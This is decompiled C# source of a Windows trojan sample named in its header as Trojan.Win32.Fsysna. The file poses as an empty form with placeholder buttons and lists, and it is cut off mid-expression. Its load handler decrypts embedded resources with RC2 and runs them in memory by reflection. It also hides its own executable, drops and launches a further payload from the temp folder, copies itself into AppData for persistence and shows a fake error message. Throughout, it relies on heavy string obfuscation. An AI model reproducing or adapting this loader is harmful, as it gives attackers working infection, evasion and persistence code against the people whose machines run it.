// Decompiled with JetBrains decompiler // Type: ePsmpVfEBbD7JvU35.jMWjno977htj // Assembly: ePsmpVfEBbD7JvU35, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 8F8E5366-972E-48EB-AD65-C434E8632D31 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe using ePsmpVfEBbD7JvU35.My; using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; using System.Threading; using System.Windows.Forms; namespace ePsmpVfEBbD7JvU35 { [DesignerGenerated] internal class jMWjno977htj : Form { private IContainer components; [AccessedThroughProperty("ComboBox1")] private ComboBox _ComboBox1; [AccessedThroughProperty("DateTimePicker1")] private DateTimePicker _DateTimePicker1; [AccessedThroughProperty("NotifyIcon1")] private NotifyIcon _NotifyIcon1; [AccessedThroughProperty("Button1")] private Button _Button1; [AccessedThroughProperty("Button2")] private Button _Button2; [AccessedThroughProperty("Button3")] private Button _Button3; [AccessedThroughProperty("Button4")] private Button _Button4; [AccessedThroughProperty("CheckBox1")] private CheckBox _CheckBox1; [AccessedThroughProperty("CheckBox2")] private CheckBox _CheckBox2; [AccessedThroughProperty("CheckBox3")] private CheckBox _CheckBox3; [AccessedThroughProperty("CheckBox4")] private CheckBox _CheckBox4; [AccessedThroughProperty("LinkLabel1")] private LinkLabel _LinkLabel1; [AccessedThroughProperty("LinkLabel2")] private LinkLabel _LinkLabel2; [AccessedThroughProperty("LinkLabel3")] private LinkLabel _LinkLabel3; [AccessedThroughProperty("LinkLabel4")] private LinkLabel _LinkLabel4; [AccessedThroughProperty("ListBox1")] private ListBox _ListBox1; [AccessedThroughProperty("ListBox2")] private ListBox _ListBox2; [AccessedThroughProperty("ListBox3")] private ListBox _ListBox3; [AccessedThroughProperty("ListBox4")] private ListBox _ListBox4; public jMWjno977htj() { this.Load += new EventHandler(this.jNsQccqkcdLwAWApjwUHbfL); this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); this.ComboBox1 = new ComboBox(); this.DateTimePicker1 = new DateTimePicker(); this.NotifyIcon1 = new NotifyIcon(this.components); this.Button1 = new Button(); this.Button2 = new Button(); this.Button3 = new Button(); this.Button4 = new Button(); this.CheckBox1 = new CheckBox(); this.CheckBox2 = new CheckBox(); this.CheckBox3 = new CheckBox(); this.CheckBox4 = new CheckBox(); this.LinkLabel1 = new LinkLabel(); this.LinkLabel2 = new LinkLabel(); this.LinkLabel3 = new LinkLabel(); this.LinkLabel4 = new LinkLabel(); this.ListBox1 = new ListBox(); this.ListBox2 = new ListBox(); this.ListBox3 = new ListBox(); this.ListBox4 = new ListBox(); this.SuspendLayout(); this.ComboBox1.FormattingEnabled = true; ComboBox comboBox1_1 = this.ComboBox1; Point point1 = new Point(14, 102); Point point2 = point1; comboBox1_1.Location = point2; this.ComboBox1.Name = "ComboBox1"; ComboBox comboBox1_2 = this.ComboBox1; Size size1 = new Size(121, 21); Size size2 = size1; comboBox1_2.Size = size2; this.ComboBox1.TabIndex = 0; DateTimePicker dateTimePicker1_1 = this.DateTimePicker1; point1 = new Point(37, 199); Point point3 = point1; dateTimePicker1_1.Location = point3; this.DateTimePicker1.Name = "DateTimePicker1"; DateTimePicker dateTimePicker1_2 = this.DateTimePicker1; size1 = new Size(200, 20); Size size3 = size1; dateTimePicker1_2.Size = size3; this.DateTimePicker1.TabIndex = 1; this.NotifyIcon1.Text = "NotifyIcon1"; this.NotifyIcon1.Visible = true; Button button1_1 = this.Button1; point1 = new Point(136, 66); Point point4 = point1; button1_1.Location = point4; this.Button1.Name = "Button1"; Button button1_2 = this.Button1; size1 = new Size(75, 23); Size size4 = size1; button1_2.Size = size4; this.Button1.TabIndex = 2; this.Button1.Text = "Button1"; this.Button1.UseVisualStyleBackColor = true; Button button2_1 = this.Button2; point1 = new Point(105, 120); Point point5 = point1; button2_1.Location = point5; this.Button2.Name = "Button2"; Button button2_2 = this.Button2; size1 = new Size(75, 23); Size size5 = size1; button2_2.Size = size5; this.Button2.TabIndex = 3; this.Button2.Text = "Button2"; this.Button2.UseVisualStyleBackColor = true; Button button3_1 = this.Button3; point1 = new Point(113, 128); Point point6 = point1; button3_1.Location = point6; this.Button3.Name = "Button3"; Button button3_2 = this.Button3; size1 = new Size(75, 23); Size size6 = size1; button3_2.Size = size6; this.Button3.TabIndex = 4; this.Button3.Text = "Button3"; this.Button3.UseVisualStyleBackColor = true; Button button4_1 = this.Button4; point1 = new Point(121, 136); Point point7 = point1; button4_1.Location = point7; this.Button4.Name = "Button4"; Button button4_2 = this.Button4; size1 = new Size(75, 23); Size size7 = size1; button4_2.Size = size7; this.Button4.TabIndex = 5; this.Button4.Text = "Button4"; this.Button4.UseVisualStyleBackColor = true; this.CheckBox1.AutoSize = true; CheckBox checkBox1_1 = this.CheckBox1; point1 = new Point(93, 23); Point point8 = point1; checkBox1_1.Location = point8; this.CheckBox1.Name = "CheckBox1"; CheckBox checkBox1_2 = this.CheckBox1; size1 = new Size(81, 17); Size size8 = size1; checkBox1_2.Size = size8; this.CheckBox1.TabIndex = 6; this.CheckBox1.Text = "CheckBox1"; this.CheckBox1.UseVisualStyleBackColor = true; this.CheckBox2.AutoSize = true; CheckBox checkBox2_1 = this.CheckBox2; point1 = new Point(102, 123); Point point9 = point1; checkBox2_1.Location = point9; this.CheckBox2.Name = "CheckBox2"; CheckBox checkBox2_2 = this.CheckBox2; size1 = new Size(81, 17); Size size9 = size1; checkBox2_2.Size = size9; this.CheckBox2.TabIndex = 7; this.CheckBox2.Text = "CheckBox2"; this.CheckBox2.UseVisualStyleBackColor = true; this.CheckBox3.AutoSize = true; CheckBox checkBox3_1 = this.CheckBox3; point1 = new Point(110, 131); Point point10 = point1; checkBox3_1.Location = point10; this.CheckBox3.Name = "CheckBox3"; CheckBox checkBox3_2 = this.CheckBox3; size1 = new Size(81, 17); Size size10 = size1; checkBox3_2.Size = size10; this.CheckBox3.TabIndex = 8; this.CheckBox3.Text = "CheckBox3"; this.CheckBox3.UseVisualStyleBackColor = true; this.CheckBox4.AutoSize = true; CheckBox checkBox4_1 = this.CheckBox4; point1 = new Point(118, 139); Point point11 = point1; checkBox4_1.Location = point11; this.CheckBox4.Name = "CheckBox4"; CheckBox checkBox4_2 = this.CheckBox4; size1 = new Size(81, 17); Size size11 = size1; checkBox4_2.Size = size11; this.CheckBox4.TabIndex = 9; this.CheckBox4.Text = "CheckBox4"; this.CheckBox4.UseVisualStyleBackColor = true; this.LinkLabel1.AutoSize = true; LinkLabel linkLabel1_1 = this.LinkLabel1; point1 = new Point(70, 145); Point point12 = point1; linkLabel1_1.Location = point12; this.LinkLabel1.Name = "LinkLabel1"; LinkLabel linkLabel1_2 = this.LinkLabel1; size1 = new Size(59, 13); Size size12 = size1; linkLabel1_2.Size = size12; this.LinkLabel1.TabIndex = 10; ((Label) this.LinkLabel1).TabStop = true; this.LinkLabel1.Text = "LinkLabel1"; this.LinkLabel2.AutoSize = true; LinkLabel linkLabel2_1 = this.LinkLabel2; point1 = new Point(113, 125); Point point13 = point1; linkLabel2_1.Location = point13; this.LinkLabel2.Name = "LinkLabel2"; LinkLabel linkLabel2_2 = this.LinkLabel2; size1 = new Size(59, 13); Size size13 = size1; linkLabel2_2.Size = size13; this.LinkLabel2.TabIndex = 11; ((Label) this.LinkLabel2).TabStop = true; this.LinkLabel2.Text = "LinkLabel2"; this.LinkLabel3.AutoSize = true; LinkLabel linkLabel3_1 = this.LinkLabel3; point1 = new Point(121, 133); Point point14 = point1; linkLabel3_1.Location = point14; this.LinkLabel3.Name = "LinkLabel3"; LinkLabel linkLabel3_2 = this.LinkLabel3; size1 = new Size(59, 13); Size size14 = size1; linkLabel3_2.Size = size14; this.LinkLabel3.TabIndex = 12; ((Label) this.LinkLabel3).TabStop = true; this.LinkLabel3.Text = "LinkLabel3"; this.LinkLabel4.AutoSize = true; LinkLabel linkLabel4_1 = this.LinkLabel4; point1 = new Point(129, 141); Point point15 = point1; linkLabel4_1.Location = point15; this.LinkLabel4.Name = "LinkLabel4"; LinkLabel linkLabel4_2 = this.LinkLabel4; size1 = new Size(59, 13); Size size15 = size1; linkLabel4_2.Size = size15; this.LinkLabel4.TabIndex = 13; ((Label) this.LinkLabel4).TabStop = true; this.LinkLabel4.Text = "LinkLabel4"; this.ListBox1.FormattingEnabled = true; ListBox listBox1_1 = this.ListBox1; point1 = new Point(75, 66); Point point16 = point1; listBox1_1.Location = point16; this.ListBox1.Name = "ListBox1"; ListBox listBox1_2 = this.ListBox1; size1 = new Size(120, 95); Size size16 = size1; listBox1_2.Size = size16; this.ListBox1.TabIndex = 14; this.ListBox2.FormattingEnabled = true; ListBox listBox2_1 = this.ListBox2; point1 = new Point(82, 84); Point point17 = point1; listBox2_1.Location = point17; this.ListBox2.Name = "ListBox2"; ListBox listBox2_2 = this.ListBox2; size1 = new Size(120, 95); Size size17 = size1; listBox2_2.Size = size17; this.ListBox2.TabIndex = 15; this.ListBox3.FormattingEnabled = true; ListBox listBox3_1 = this.ListBox3; point1 = new Point(90, 92); Point point18 = point1; listBox3_1.Location = point18; this.ListBox3.Name = "ListBox3"; ListBox listBox3_2 = this.ListBox3; size1 = new Size(120, 95); Size size18 = size1; listBox3_2.Size = size18; this.ListBox3.TabIndex = 16; this.ListBox4.FormattingEnabled = true; ListBox listBox4_1 = this.ListBox4; point1 = new Point(98, 100); Point point19 = point1; listBox4_1.Location = point19; this.ListBox4.Name = "ListBox4"; ListBox listBox4_2 = this.ListBox4; size1 = new Size(120, 95); Size size19 = size1; listBox4_2.Size = size19; this.ListBox4.TabIndex = 17; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; size1 = new Size(284, 262); this.ClientSize = size1; this.Controls.Add((Control) this.ListBox4); this.Controls.Add((Control) this.ListBox3); this.Controls.Add((Control) this.ListBox2); this.Controls.Add((Control) this.ListBox1); this.Controls.Add((Control) this.LinkLabel4); this.Controls.Add((Control) this.LinkLabel3); this.Controls.Add((Control) this.LinkLabel2); this.Controls.Add((Control) this.LinkLabel1); this.Controls.Add((Control) this.CheckBox4); this.Controls.Add((Control) this.CheckBox3); this.Controls.Add((Control) this.CheckBox2); this.Controls.Add((Control) this.CheckBox1); this.Controls.Add((Control) this.Button4); this.Controls.Add((Control) this.Button3); this.Controls.Add((Control) this.Button2); this.Controls.Add((Control) this.Button1); this.Controls.Add((Control) this.DateTimePicker1); this.Controls.Add((Control) this.ComboBox1); this.Name = "Form1"; this.Text = "Form1"; this.ResumeLayout(false); this.PerformLayout(); } internal virtual ComboBox ComboBox1 { get => this._ComboBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ComboBox1 = value; } internal virtual DateTimePicker DateTimePicker1 { get => this._DateTimePicker1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._DateTimePicker1 = value; } internal virtual NotifyIcon NotifyIcon1 { get => this._NotifyIcon1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._NotifyIcon1 = value; } internal virtual Button Button1 { get => this._Button1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value; } internal virtual Button Button2 { get => this._Button2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value; } internal virtual Button Button3 { get => this._Button3; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value; } internal virtual Button Button4 { get => this._Button4; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button4 = value; } internal virtual CheckBox CheckBox1 { get => this._CheckBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value; } internal virtual CheckBox CheckBox2 { get => this._CheckBox2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value; } internal virtual CheckBox CheckBox3 { get => this._CheckBox3; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox3 = value; } internal virtual CheckBox CheckBox4 { get => this._CheckBox4; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox4 = value; } internal virtual LinkLabel LinkLabel1 { get => this._LinkLabel1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel1 = value; } internal virtual LinkLabel LinkLabel2 { get => this._LinkLabel2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel2 = value; } internal virtual LinkLabel LinkLabel3 { get => this._LinkLabel3; [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel3 = value; } internal virtual LinkLabel LinkLabel4 { get => this._LinkLabel4; [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel4 = value; } internal virtual ListBox ListBox1 { get => this._ListBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ListBox1 = value; } internal virtual ListBox ListBox2 { get => this._ListBox2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ListBox2 = value; } internal virtual ListBox ListBox3 { get => this._ListBox3; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ListBox3 = value; } internal virtual ListBox ListBox4 { get => this._ListBox4; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ListBox4 = value; } private byte[] JFSbWMWvvqjeoVwhlPcXhkV(Stream stream) { int int32 = Convert.ToInt32(stream.Length); byte[] buffer = new byte[checked (int32 + 1)]; stream.Read(buffer, 0, int32); stream.Close(); return buffer; } public byte[] jtgMZVlobTUsIqlhoAYYvpP(byte[] CLMKPmszer, string dugkLkvqIG) { RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider(); MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); byte[] numArray; try { byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(dugkLkvqIG)); cryptoServiceProvider1.Key = hash; cryptoServiceProvider1.Mode = CipherMode.ECB; ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); byte[] inputBuffer = CLMKPmszer; numArray = decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } return numArray; } public byte[] tfHwMSmhUmlNswluAABFUZo(byte[] CLMKPmszer, string dugkLkvqIG) { RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider(); MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); byte[] numArray; try { byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(dugkLkvqIG)); cryptoServiceProvider1.Key = hash; cryptoServiceProvider1.Mode = CipherMode.ECB; ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); byte[] inputBuffer = CLMKPmszer; numArray = decryptor.TransformFinalBlock(inputBuffer, 0, checked (inputBuffer.Length - 1)); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } return numArray; } public string WWVhPbEaAPWbMTauDhuGieh(string eSQKcZvSqw) { string str1 = Strings.StrReverse(eSQKcZvSqw); string str2 = ""; int num = Strings.Len(str1); int Start = 1; while (Start <= num) { str2 += Conversions.ToString(Strings.Chr(checked (Strings.Asc(Strings.Mid(str1, Start, 1)) - Strings.Asc(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(195))))))); checked { ++Start; } } return str2; } public string ZcUepepsjLqeOQBcawraGvj(string ffg) { string str1 = ""; int num = Strings.Len(ffg); for (int Start = 1; Start <= num; Start = checked (Start + 1 + 1)) { string str2 = Strings.Mid(ffg, Start, 2); str1 += Conversions.ToString(Strings.Chr(checked ((int) Math.Round(Conversion.Val(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(130)) + ";") + str2))))); } return str1; } private void jNsQccqkcdLwAWApjwUHbfL(object sender, EventArgs e) { string[] strArray = Strings.Split(Encoding.Default.GetString(this.JFSbWMWvvqjeoVwhlPcXhkV(this.GetType().Assembly.GetManifestResourceStream(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(209)) + "d" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(153)) + Conversions.ToString(Strings.Chr(182)) + "\u001C" + Conversions.ToString(Strings.Chr(237)) + "b")))).Replace("\0", ""), this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(216)) + "/")); Thread.Sleep(Conversions.ToInteger(strArray[7])); Assembly.Load(this.jtgMZVlobTUsIqlhoAYYvpP(ePsmpVfEBbD7JvU35.My.Resources.Resources.fpazg, this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(145)) + "\u0005" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(132)) + Conversions.ToString(Strings.Chr(202)) + "\0" + Conversions.ToString(Strings.Chr(235)) + "T" + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(154)) + Conversions.ToString(Strings.Chr(184)) + Conversions.ToString(Strings.Chr(202)) + "\u0006" + Conversions.ToString(Strings.Chr(167)) + Conversions.ToString(Strings.Chr(143)) + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(167)) + ".\u0017" + Conversions.ToString(Strings.Chr(136)) + "~" + Conversions.ToString(Strings.Chr(189)) + "Ds" + Conversions.ToString(Strings.Chr(221)) + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(200)) + Conversions.ToString(Strings.Chr(199)) + "h"))).GetType(this.WWVhPbEaAPWbMTauDhuGieh(Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(183)) + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(220)) + Conversions.ToString(Strings.Chr(185)))).InvokeMember(this.WWVhPbEaAPWbMTauDhuGieh(Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(183)) + Conversions.ToString(Strings.Chr(219)) + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(209)) + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(176))), BindingFlags.InvokeMethod, (Binder) null, (object) null, new object[6] { (object) this.tfHwMSmhUmlNswluAABFUZo(this.JFSbWMWvvqjeoVwhlPcXhkV(this.GetType().Assembly.GetManifestResourceStream(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(209)) + "d" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(153)) + Conversions.ToString(Strings.Chr(182)) + "\u001C" + Conversions.ToString(Strings.Chr(237)) + "a"))), strArray[16]), (object) true, (object) strArray[6], (object) this.WWVhPbEaAPWbMTauDhuGieh(Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(149))), (object) true, (object) false }); if (Operators.CompareString(strArray[5], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { try { File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden | FileAttributes.System); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } if (Operators.CompareString(strArray[13], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { if (Operators.CompareString(strArray[15], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { if (!File.Exists(Path.GetTempPath() + strArray[14])) { File.WriteAllBytes(Path.GetTempPath() + strArray[14], this.tfHwMSmhUmlNswluAABFUZo(this.JFSbWMWvvqjeoVwhlPcXhkV(this.GetType().Assembly.GetManifestResourceStream(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(209)) + "d" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(153)) + Conversions.ToString(Strings.Chr(182)) + "\u001C" + Conversions.ToString(Strings.Chr(237)) + "c"))), strArray[16])); Process.Start(Path.GetTempPath() + strArray[14]); } } else { try { File.WriteAllBytes(Path.GetTempPath() + strArray[14], this.tfHwMSmhUmlNswluAABFUZo(this.JFSbWMWvvqjeoVwhlPcXhkV(this.GetType().Assembly.GetManifestResourceStream(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(209)) + "d" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(153)) + Conversions.ToString(Strings.Chr(182)) + "\u001C" + Conversions.ToString(Strings.Chr(237)) + "c"))), strArray[16])); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } Process.Start(Path.GetTempPath() + strArray[14]); } } if (Operators.CompareString(strArray[8], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { int num = (int) MessageBox.Show(strArray[10], strArray[9], MessageBoxButtons.OK, MessageBoxIcon.Hand); } if (Operators.CompareString(strArray[0], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { string str = Path.GetTempPath(); if (Operators.CompareString(strArray[3], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(229))), false) == 0) str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(248))); if (!File.Exists(str + strArray[2])) { try { Directory.CreateDirectory(str + strArray[4]); File.Copy(Application.ExecutablePath, str + strArray[4] + this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(248))) + strArray[2], true); string contents = this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(145)) + "`" + Conversions.ToString(Strings.Chr(203)) + Conversions.ToString(Strings.Chr(254)) + Conversions.ToString(Strings.Chr(177)) + "d" + Conversions.ToString(Strings.Chr(236)) + "0" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(145)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(136)) + "_" + Conversions.ToString(Strings.Chr(128)) + Conversions.ToString(Strings.Chr(215)) + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(164)) + Conversions.ToString(Strings.Chr(160)) + "i\u0018" + Conversions.ToString(Strings.Chr(200)) + "4" + Conversions.ToString(Strings.Chr(184)) + "=\f" + Conversions.ToString(Strings.Chr(138)) + Conversions.ToString(Strings.Chr(207)) + Conversions.ToString(Strings.Chr(137)) + Conversions.ToString(Strings.Chr(129)) + ")" + Conversions.ToString(Strings.Chr(233)) + Conversions.ToString(Strings.Chr(133)) + Conversions.ToString(Strings.Chr(214)) + "0" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + Conversions.ToString(Strings.Chr(240)) + Conversions.ToString(Strings.Chr(211)) + "\"" + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(177)) + Conversions.ToString(Strings.Chr(175)) + Conversions.ToString(Strings.Chr(211)) + "3|" + Conversions.ToString(Strings.Chr(142)) + "j" + Conversions.ToString(Strings.Chr(191)) + Conversions.ToString(Strings.Chr(248)) + "8o5" + Conversions.ToString(Strings.Chr(164)) + Conversions.ToString(Strings.Chr(158)) + "\u0011" + Conversions.ToString(Strings.Chr(200)) + "]@" + Conversions.ToString(Strings.Chr(199)) + "?3" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(205)) + "r" + Conversions.ToString(Strings.Chr(243)) + "B+" + Conversions.ToString(Strings.Chr(226)) + Conversions.ToString(Strings.Chr(139)) + Conversions.ToString(Strings.Chr(151)) + Conversions.ToString(Strings.Chr(247)) + "?" + Conversions.ToString(Strings.Chr(205)) + "=" + Conversions.ToString(Strings.Chr(137)) + "9" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(226)) + Conversions.ToString(Strings.Chr(135)) + "&" + Conversions.ToString(Strings.Chr(182)) + ")" + Conversions.ToString(Strings.Chr(237)) + "8h" + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(154)) + "@,," + Conversions.ToString(Strings.Chr(132)) + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(164)) + "f" + Conversions.ToString(Strings.Chr(144)) + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(209)) + Conversions.ToString(Strings.Chr(224)) + Conversions.ToString(Strings.Chr(235)) + "o" + Conversions.ToString(Strings.Chr(177)) + "\u001B" + Conversions.ToString(Strings.Chr(163)) + "`" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(230)) + "\u0011" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(229)) + "\u0015\u0003\u0001\0" + Conversions.ToString(Strings.Chr(206)) + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(140)) + "\n" + Conversions.ToString(Strings.Chr(187)) + Conversions.ToString(Strings.Chr(225)) + "U" + Conversions.ToString(Strings.Chr(216)) + "[bm" + Conversions.ToString(Strings.Chr(221)) + Conversions.ToString(Strings.Chr(242)) + "X\u001E" + Conversions.ToString(Strings.Chr(222)) + Conversions.ToString(Strings.Chr(252)) + "G" + Conversions.ToString(Strings.Chr(250)) + Conversions.ToString(Strings.Chr(148)) + ">`" + Conversions.ToString(Strings.Chr(209)) + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(227)) + "&\u001B" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(219)) + "+iX[fx" + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(131)) + Conversions.ToString(Strings.Chr(141)) + "2%}6W\u0014" + Conversions.ToString(Strings.Chr(162)) + "\u000Fc" + Conversions.ToString(Strings.Chr(189)) + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(187)) + Conversions.ToString(Strings.Chr(156)) + "\u0006,\u000E" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(254)) + "O\u0004pK" + Conversions.ToString(Strings.Chr(167)) + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(200)) + "_" + Conversions.ToString(Strings.Chr(209)) + Conversions.ToString(Strings.Chr(249)) + "oL{2" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(197)) + "o\t" + Conversions.ToString(Strings.Chr(161)) + Conversions.ToString(Strings.Chr(204)) + "<")) + "\r\n" + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(147)) + "`" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr((int) byte.MaxValue)) + Conversions.ToString(Strings.Chr(177)) + "b" + Conversions.ToString(Strings.Chr(234)) + "B" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(226)) + Conversions.ToString(Strings.Chr(222)) + Conversions.ToString(Strings.Chr(131)) + "\\" + Conversions.ToString(Strings.Chr(241)) + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(161)) + "i\u0017" + Conversions.ToString(Strings.Chr(204)) + "=" + Conversions.ToString(Strings.Chr(188)) + "J\t" + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(137)) + Conversions.ToString(Strings.Chr(131)) + "#" + Conversions.ToString(Strings.Chr(236)) + Conversions.ToString(Strings.Chr(135)) + Conversions.ToString(Strings.Chr(212)) + "1" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(156)) + Conversions.ToString(Strings.Chr(240)) + Conversions.ToString(Strings.Chr(208)) + " " + Conversions.ToString(Strings.Chr(250)) + Conversions.ToString(Strings.Chr(176)) + Conversions.ToString(Strings.Chr(175)) + Conversions.ToString(Strings.Chr(211)) + "G\u007F" + Conversions.ToString(Strings.Chr(248)) + "h" + Conversions.ToString(Strings.Chr(200)) + Conversions.ToString(Strings.Chr(249)) + "5k>" + Conversions.ToString(Strings.Chr(161)) + Conversions.ToString(Strings.Chr(158)) + "\u0010" + Conversions.ToString(Strings.Chr(185)) + "\\J" + Conversions.ToString(Strings.Chr(199)) + "<3" + Conversions.ToString(Strings.Chr(231)) + Conversions.ToString(Strings.Chr(204)) + "q" + Conversions.ToString(Strings.Chr(240)) + "E)" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(138)) + Conversions.ToString(Strings.Chr(157)) + Conversions.ToString(Strings.Chr(242)) + ";" + Conversions.ToString(Strings.Chr(204)) + "K" + Conversions.ToString(Strings.Chr(137)) + "F" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(145)) + Conversions.ToString(Strings.Chr(135)) + "%" + 